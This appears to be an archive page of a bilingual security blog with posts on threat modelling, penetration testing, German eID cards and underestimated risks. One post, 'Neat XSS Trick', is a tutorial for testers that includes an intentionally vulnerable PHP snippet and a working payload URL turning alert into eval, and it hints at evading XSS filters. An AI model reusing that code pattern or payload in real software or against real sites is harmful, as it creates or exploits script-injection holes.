Juristen sind Pragmatiker

Begriffe, IT, Nerds, Rechtsabteilung, Security, ,

Wenn Security- beziehungsweise Kryptographie-Nerds über die Welt reden, benutzen sie gerne Begriffe wie Beweisbarkeit und Nichtabstreitbarkeit. Diese Begriffe haben eine spezifische technische Bedeutung, sie werden aber auch von anderen verwendet, etwa von Juristen – in anderer Bedeutung. Vermischt man die Bedeutungen in verschiedenen Kontexten, so kommt man leicht auf die Idee, dass elektronische Signaturen oder elektronische Personalausweise eine unheimlich wichtige Sache seien. Nur durch die Hinterlegung landläufiger oder juristischer Begriffe mit gleich benannten, aber inhaltlich verschiedenen technischen Begriffen könne man IT-gestützte Dienste und Abläufe so gestalten, dass sie technisch und rechtlich sicher seien.

Juristen sehen das alles viel entspannter. Wie das Lawblog berichtet, hat das Oberlandesgericht Hamm eine Vereinssatzung für rechtmäßig erklärt, die Mitgliederversammlungen in einem Chatraum vorsieht. Dem Security-Nerd ist das ein Graus: Was da alles passieren könnte! Die Juristen hingegen gehen pragmatisch an die Sache heran. Wenn es keine offensichtlichen, konkreten Probleme gibt, lasst die Leute doch erst mal machen. Wenn’s dann doch Streit geben sollte, kann man sich immer noch vor Gericht treffen und über konkrete Vorwürfe reden.

Damit liegen die Juristen richtig, denn sie bedienen sich intuitiv eines statistischen Bedrohungsmodells. Theoretische Möglichkeiten interessieren den Juristen nicht so sehr, solange sie sich nicht in seiner Lebenserfahrung oder in konkreten Beweisen widerspiegeln. Damit werden theoretische Möglichkeiten, die in der Realität selten vorkommen, geringer gewichtet als erfahrungsgemäß tatsächlich auftretende Sachverhalte. Das so gebildete Modell kann in den zugrundeligenden Annahmen oder in seiner Anwendung auf einen Einzelfall falsch sein; dann haben wir was zu meckern. Aber es ist, gerade wenn es um Voraussagen über Risiken geht, angemessen. Was erfahrungsgemäß vorkommt, wird ernst genommen, weil genügend dokumentierte Fälle vorliegen. Bloße Möglichkeiten dagegen bleiben unberücksichtigt.

Abstrahiert man von den Details konkreter Abläufe, landet man damit genau bei der Definition einer Bedrohung. Eine Bedrohung setzt sich zusammen aus Interessen bzw. Zielen und Fähigkeiten. Beide Komponenten sind erforderlich: ohne Interesse sind die Fähigkeiten egal und ohne Fähigkeiten spielen die Ziele keine Rolle. Erst wenn beides zusammenkommt, wird ein Angriff daraus. Security-Nerds schauen nur auf die Fähigkeiten und ignorieren die Ziele.

Unterschätzte Risiken: Fußball

Safety, Unterschätzte Risiken, ,

Woche für Woche ziehen sich Sportler schwere Kopfverletzungen zu. Wir könnten zur besten Sendezeit zusehen, wenn wir das Fernsehen nicht für ein Medium abnehmender Relevanz aus dem vorigen Jahrhundert hielten. Man diskutiert sogar über Schutzhelme. Ist schon wieder Radsportsaison? Nein, es geht um Fußball:

»Die Liste der bösen Kopfblessuren in der laufenden Saison ist lang und prominent besetzt: So hatte es zum Beispiel Klaas Jan Huntelaar (Schalke), Michael Ballack (Leverkusen), Sven Bender und Neven Subotic (beide Dortmund) sowie Gojko Kacar (HSV) in der Hinrunde erwischt.«

(FAZ.NET: Schmerzhafter Zufall?)

Wo bleibt der zuständige Minister mit einer Helmpflichtforderung?

Using an Inappropriate Classifier As a Security Mechanism

Classifier Security Model, English, Geschäft, IT, Rechtsabteilung, Security, Video, , , , , ,

Zed Shaw has a story to tell about ACLs (Access Control Lists) as a common security mechanism and how they are incapable of modeling actual regulatory requirements:

http://vimeo.com/2723800
(Vimeo: The ACL is Dead)

It’s not really a talk about ACLs, it’s really about how companies work and how to survive and stay sane inside enterprises. I’ll focus here, however, on the technical issue that he uses as a hook.

He poses the technical problem as »ACLs not being Turing-complete«. According to my favorite abstraction of security mechanisms, the classifier model, ACL access control schemes are a type of classifier that does not fit the problem. All security mechanisms distinguish deny from allow, just in different sets of entities and with different boundaries between the two subsets. A low complexity classifier can handle only subsets with a simple boundary between them—most entities have only neighbors of the same class, and those near the boundary have other-class neighbors only in one direction—whereas a complex classifier can model more complex class distinctions. The most complex classification would be a random assignment of classes to entities.

Two things (at least) affect the complexity that a classifier can handle: classifier design and feature extraction. Classifier design defines the boundaries that a classifier can model. Feature extraction defines the parameters or dimensions available to the classifier, the degree of abstraction with which the classifier sees the world. Authentication for instance has a high degree of abstraction, it can distinguish entities but nothing else. Access control is richer in the parameters it uses, including besides the identity of entitites also properties of objects and actions. Yet, as the talk illustrates, these dimensions are not sufficient to properly express regulatory requirements. Whether this is a problem of the mechanism or a problem of the requirements I leave for the reader to ponder.

The Point of Penetration Testing

English, Geschäft, IT, Security, Testlabor, Vulnerability, , , , ,

I’m glad to see that the community starts to acknowledge what penetration testing really means. We never encountered the empty hands issue as we never sold the let’s-see-if-we-can-hack-it kind of a penetration test. We carry out vulnerability assessments based on whichever information we can get about a system or product, the more the better, and use testing as a means of getting more, or clarifying information. The point of a penetration test is not to find and demonstrate one or a handful of arbitrary attacks, the point of a penetraion test is to identify vulnerabilities that need attention. Sure, it is fun to give an uberhacker demo after the test, and we do that, too, if we’ve found gaping security holes. But more important in a penetration test is good coverage of the potential vulnerabilities, and a sound assessment of their importance, relative to the purpose and risk profile of a system. I even remember pentesting projects where we found only a few relatively minor issues in a low-risk website – and made our clients happy by telling them just that. There is really no need to be disappointed if a penetration test ends without a root shell. There is no point in withholding information from testers, reducing their efficiency. And there is no point in testing just the infrastructure but not the applications.

Neat XSS Trick

English, Hackmeck, IT, Security, So geht das, Testlabor, , , , , ,

I just learned a neat XSS trick from a blog post by Andy Wingo. This is old news to the more proficient web application testers among my readers, but it was new to me and I like it. I wasn’t aware that one could redirect function calls in JavaScript so easily:

somefunction = otherfunction;

somewhere in a script makes somefunction a reference to otherfunction. This works with functions of the built-in API, too, so any function can become eval:

alert = eval;

or

window.alert = eval;

So if you can inject a small amount of script somewhere, and a function parameter elsewhere, you can turn the function that happens to be called into the eval you need. This PHP fragment illustrates the approach:

<?php
// XSS vulnerability limited to 35 characters
print substr($_GET["inject1"], 0, 35);
?>

<script>
// URL parameter goes into a seemingly harmless function - which we
// can redefine to become eval
<?php $alertparam = htmlspecialchars(addslashes($_GET["inject2"]), ENT_COMPAT ); ?>
alert('<?=$alertparam?>');
</script>

The first PHP block allows up to 35 characters to be injected into the page unfiltered through the inject1 URL parameter, just enough to add to the page this statement:

<script>alert=eval;</script>

or

<script>window.alert=eval;</script>

The second block embeds the value of the inject2 URL parameter in JavaScript as the parameter of alert() after some (imperfect) escaping. This one has unlimited length but goes into a seemingly harmless function – until somebody exchanges the function behind the identifier alert.

To see it work, put the PHP code on your web server and call it with a URL like this:

xss.php?inject1=<script>window.alert=eval;</script>&inject2=prompt('Did you expect this? (Yes/No)');

This works fine with Firefox 9 and, if XSS filter is disabled, IE 9. Safari 5.1.2 silently blocks the exploit, telling me about it only in debug mode. If you really need to, you’ll probably find an evasion technique against client-side XSS filters. IE seems to need window.alert, while Firefox is happy with just alert in inject1.

Fünf Blüten auf 10.000 Einwohner

Preisschild, Zahlenspiele,

»Rund 39 000 gefälschte Geldscheine registrierte die Notenbank im vergangenen Jahr mit einem Schaden von 2,1 Millionen Euro. Im Vorjahr hatten 60 000 Falschnoten noch Einbußen von 3,4 Millionen Euro verursacht.
(…)
Rechnerisch kommen jährlich fünf (2010: sieben) Blüten auf 10 000 Einwohner. Im gesamten Euro-Raum liegt das Verhältnis bei 18 Fälschungen auf 10 000 Einwohner.«

(Echo Online: Weniger Euro-Blüten beschlagnahmt als je zuvor)

Safe and sorry

English, Security, Unterwegs, Vulnerability, , , ,

A common delusion in security engineering is the idea that one could secure a system by identifying items that need protection (assets), describing the ways in which they might be damaged (threats or attacks, which are not synonymous but often confused), and then implementing countermeasures or mitigations such that all, or the most common, or the most damaging threats are covered. The system thus becomes secure with respect to the threat model, so the reasoning. This is the model underlying the Common Criteria, and it works fine as a descriptive model. To give an example from everyday life, consider a bicycle as an asset. If your bicycle gets stolen (the threat), your damage is the value of the bicycle plus any collateral damage that the loss may cause you, such as coming late to an appointment, having to pay for a taxi or public transport instead of riding your bicycle, and having to go to the gym for workout instead of getting a workout for free on your way to work. The typical countermeasure against this threat is locking the bicycle to a fence, pole, or other appropriate object. Locking your bicycle reduces the risk of it being stolen. What could possibly go wrong? Besides the obvious residual risk of your countermeasures not being strong enough, this could go wrong:

A bicycle frame locked to a fence, wheels and other parts stolen
Safe and sorry © 2012 Sven Türpe, CC-BY 3.0

 

This (ex-)bicycle was and remains properly locked and no vulnerability in the lock or in items the lock depends on have been exploited. Yet, somebody made a fortune stealing bicycle parts, and somebody else lost a bicycle to an attack. What’s the problem? The problem is the gross simplification in the asset-threat-countermeasure model, which neglects three important factors:

  1. Adaptive adversaries. A countermeasure does not oblige the adversary to stick to the original attack plan that the countermeasure is targeted at. Security measures change the threat model. They don’t force the adversary to give up, they force the adversary to change strategy and tactics.
  2. The victim’s loss and the adversary’s gain are not necessarily the same. In the case of the bicycle above, the lock may reduce the attacker’s gain to the black market value of the removed parts. The victim’s loss is still one bicycle.
  3. Asset dependencies. Thinking of a bicycle as one asset is an abstraction. A bicycle is really a collection of assets—its parts—and an asset by itself. Such dependencies, nested assets in this case, are common.

The bicycle lock, it turns out, is not really a bicycle lock, it’s a bicycle frame lock. It protects only one sub-asset of the bicycle, and an economically motivated adversary can make a gain that seems worth the risk without breaking the lock.

Prescriptive threat modeling—threat modeling done with the aim of finding a proper set of security features for a system—needs to take these issues into account. A good threat model anticipates changes in attacker behavior due to security measures. A good threat model considers not only damages to the victim but also gains of the adversary, as the latter are what motivates the adversary. And good security engineering is biased towards security, always overestimating adversary capabilities and always underestimating the effect of security measures, systematically.

Unterschätzte Risiken: Sicherheitsbewusstsein – und Kindergartenbedrohungsmodelle

Angst, IT, Propaganda, Security, Unterschätzte Risiken, , , , , , ,

Die Vorgeschichte:

Jemand hat eine Schadsoftware verbreitet, die den Datenverkehr befallener Systeme umleitet. Das FBI hat die dafür verwendeten Server unter seine Kontrolle gebracht und zunächst weiterlaufen lassen, will sie aber demnächst abschalten. Das BSI stellt zusammen mit der Telekom eine Website bereit, mit der man seinen PC auf Befall prüfen kann und ggf. ein Tool zur Bereinigung angeboten bekommt.

Das Ergebnis:

»Verwirrung um die Schadsoftware DNS-Changer: User fürchten nach dem Aufruf zum Rechner-Selbsttest des Bundesamtes für Sicherheit in der Informationstechnik, sie könnten sich den Staatstrojaner einfangen. Die Behörde weist die Vermutung zurück.«

(Focus Online:
Angst vor Hacker-Angriff und dem Staatstrojaner: Internetnutzer trauen dns-ok.de nicht)

Kinder, das ist doch blöd. Wenn ich einen Staatstrojaner unter die Leute bringen will, dann mache ich das nicht so, dass mein Werk nach drei Stunden aufgeflogen und durchanalysiert ist. Und überhaupt, woher habt Ihr Euer Angreifermodell? Was muss man geraucht haben, um bei jeder Handlung der Behörden eines demokratischen Rechtsstaates zuerst eine gegen sich selbst gerichtete Verschwörung zu vermuten? Sicher, Behörden machen manchmal Mist, zuweilen auch richtig großen und mit Vorsatz. Aber so eine plumpe Verteilaktion, wie Ihr sie unterstellt? Ihr seid ja nicht ganz dicht.

Der Sicherheitsbegriff im Wandel

Begriffe, Forschung, Safety, Security

Was die Politik unter Sicherheit versteht, ändert sich im Laufe der Zeit. Gabi Schlag beschäftigt sich mit dem Begriff und seinem Wandel. Auszug:

»Spätestens seit den 1990er Jahren, so haben viele Kommentatorinnen und Experten angemerkt, zeichnet sich jedoch eine erneute begriffliche Transformation ab: immer häufiger reden wir über Risiko und Vorsorge, über Gefährdungen als Folge von Modernisierung und Technologisierung unserer Gesellschafts- und Arbeitswelt. Die Risikosemantik, so Christopher Daase und Oliver Kessler (2008), rekurriere dabei auf eine Redefinition von Ungewissheit und Wahrscheinlichkeit und führe zu einem Sicherheitsparadox: Sicherheitspolitik reagiert nicht mehr nur auf Gefahren, sondern produziert gleichsam neue Sicherheitsprobleme.«

(sicherheitskultur.org | Blog)

Unterschätzte Risiken: Sepsis

Unterschätzte Risiken, Zahlenspiele, , ,

Die meisten Menschen sterben bekanntlich im Bett, zum Beispiel so:

»Das Kompetenznetz Sepsis hat vor wenigen Jahren nachgewiesen, dass in Deutschland jeden Tag 162 Patienten an dieser Eskalation sterben. Die Zahl ist fast so hoch wie die Zahl der Herzinfarkttoten. Damit ist die Sepsis die dritthäufigste Todesursache, obwohl sie nur selten in der Todesursachenstatistik erscheint, weil dort nur die Grunderkrankungen gelistet werden. Ein Drittel aller intensivmedizinischen Kosten entstehen bei der Behandlung der Sepsis.«

(FAZ.NET: Sepsis-Therapie: Infektion außer Kontrolle)

The German eID system explained and discussed

English, Forschung, ID, IT, Regierungsviertel, Security, Testlabor, , , , , ,

We just finished reviewing the final, ready-to-print version of our article Electronic Identity Cards for User Authentication—Promise and Practice, which will appear in the upcoming issue of IEEE Security & Privacy Magazine (vol. 10, no. 1, jan/feb 2012, DOI: 10.1109/MSP.2011.148). We outline how the German eID system works and discuss application issues. Here is our abstract:

Electronic identity (eID) cards promise to supply a universal, nation-wide mechanism for user authentication. Most European countries have started to deploy eID for government and private sector applications. Are government-issued electronic ID cards the proper way to authenticate users of online services? We use the German eID project as a showcase to discuss eID from an application perspective. The new German ID card has interesting design features: it is contactless, it aims to protect people’s privacy to the extent possible, and it supports cryptographically strong mutual authentication between users and services. Privacy features include support for pseudonymous authentication and per-service controlled access to individual data items. The article discusses key concepts, the eID infrastructure, observed and expected problems, and open questions. The core technology seems ready for prime time and government projects deploy it to the masses. But application issues may hamper eID adoption for online applications.

We think that eID functions of government-issued ID cards will not replace means of everyday online authentication. With eID, there will be few new use cases for ID cards, eID just supports online versions of the traditional use cases. Most of the traditional use cases in Germany involve bureaucracy or legal requirements: legal protection for children and young persons, required identification of mobile phone users or bank account holders, or procedures of administrative bodies involving »Ausweis bitte!« at some point. For those who followed the debate and rollout in Germany, there should be nothing new in our article, but the article may come in handy as a reference for international audiences.

Our article will be in good company as it will appear in a theme issue on authentication. If I read the preprints collection correctly, there will be a user study by Amir Herzberg and Ronen Margulies,  Training Johnny to Authenticate (Safely), and an article by Cormac Herley and Paul van Oorschot, A Research Agenda Acknowledging the Persistence of Passwords (authors‘ version). It seems sexy to many to call the days of the password counted—IBM just predicted password authentication would die out soon—but if I had to make a bet I would follow Cormac and Paul.

The final version of our article will be paywalled by IEEE, but you can find our preprint with essentially the same contents on our website.

Risikoanalyse für Gauner

Geschäft, Preisschild, Risiko, Zahlenspiele, ,

FAZ.NET präsentiert in einer Galerie von Infografiken dieses schöne Stück, das die Aufklärungsquoten verschiedener Verbrechens- und Vergehensarten zeigt und ordnet. Demnach werden Geldfälscher, Geiselnehmer und Autohehler fast immer gefasst, Autoknacker sowie Auto- und Taschendiebe hingegen fast nie. Zur Berufsberatung für legalitätsflexible Arbeitssuchende fehlen jetzt noch analoge Aufstellungen der mittleren Gewinne pro Tat sowie der mittleren Strafe, falls man erwischt wird. Mit diesen Angaben könnten wir ausrechnen, welche Verbrechen sich lohnen. Falls jemand Zahlen hat oder Leute kennt, die Zahlen haben, her damit.

Enttäuschte Vorfreude

Freundlich zum Nutzer, Security, , ,

Liebe Microsoft,

wenn ein Button unter einer Sicherheitswarnung mit Details beschriftet ist,

wäre es schön, wenn ein Klick darauf auch Details anzeigen würde. Und nicht die Hilfe öffnen, die mir SSL erklärt. Mich würde hier zum Beispiel interessieren, welche Inhalte denn gemeint sind, damit ich meine Entscheidung in Kenntnis der Umstände treffen kann. Stattdessen bleibt mir nichts anderes übrig, als immer auf JaNein zu klicken. Dabei brauche ich keine Hilfe, das schaffe ich auch so.

Risk Assessment and Failure Analysis in Multiple Small Illumination Sources During Winter Conditions

English, Events, Gadget, Risiko, Safety

Risk Assessment and Failure Analysis in Multiple Small Illumination Sources During Winter Conditions

Robert M. Slade, version 1.0, 20031217

Abstract:

In the author’s immediate socio-cultural environment, the unpacking, testing, placement, and maintenance of Christmas lights has been mandated to be „man’s work.“ (Women will, reluctantly, direct the placement of lights, since it is an observed fact that a man has all the artistic sensitivity of a Volkswagen. The car, not the automotive designers.) Therefore, despite the complete lack of any evidence of competence in domestic „handiness,“ or knowledge of electrical appliances, the author has found himself making an extensive, multi- year study of failure modes in different forms of lighting involving multiple small light sources.

Risks Digest vol. 26, issue 26; 2010-12-29